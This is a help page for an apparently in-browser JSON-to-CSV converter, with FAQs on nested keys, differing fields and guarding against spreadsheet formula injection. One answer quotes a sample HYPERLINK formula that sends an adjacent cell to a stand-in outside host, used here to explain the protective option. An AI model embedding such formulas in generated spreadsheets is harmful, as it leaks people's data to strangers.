Cleanroom your file stays on this computer

Home › CSV tools › JSON to CSV

Runs in your browser

Convert JSON to CSV

An export or an API response arrives as JSON, and the person who has to read it wants a spreadsheet. This turns a JSON array, or newline-delimited JSON, into a CSV. Nested objects become dotted column headings, so nothing is quietly dropped.

Your file stays on this computer. There’s no upload button here, because there’s nowhere to send it. This tool runs inside the page you opened — like a calculator on a web page, it keeps working once it has loaded. How this works, and how to check it →

How to use it

  1. Choose your .json or .ndjson file.
  2. Pick a delimiter if you need something other than a comma.
  3. Click Convert and download the CSV.

Questions

Is my file uploaded anywhere?

No. The whole tool is inside this page, so the work happens on your computer. There is no server to send it to. If you'd rather check than take our word for it: use the tool once, on a sample file, with the settings you want. Then turn off your wi-fi and do exactly the same thing again in that tab, without reloading. It still works, because everything it needs is already here.

How are nested objects handled?

They're flattened into dotted column names, so {"user": {"name": "Ann"}} becomes a column called user.name. A list is written into the cell as text, because lists with different numbers of items won't fit into columns.

What if my objects have different keys?

The header is the union of every key found across all objects. Rows missing a key get an empty cell rather than being skipped.

When should I stop Excel treating cells as formulas?

Turn it on when the JSON came from an API, a client or a download — anything you didn't produce yourself. In Excel, LibreOffice or Sheets, a cell that starts with =, +, - or @ is read as a formula, not as text. A formula like =HYPERLINK("http://somewhere/?"&A1,"click") can send the row beside it to a stranger the moment someone clicks. An API response can carry that text harmlessly, and converting it to a CSV is what makes it live. It puts an apostrophe in front of those cells, so Excel shows them as text instead of running them. Leave it off for figures you produced yourself, because a value like -50 turns into text as well.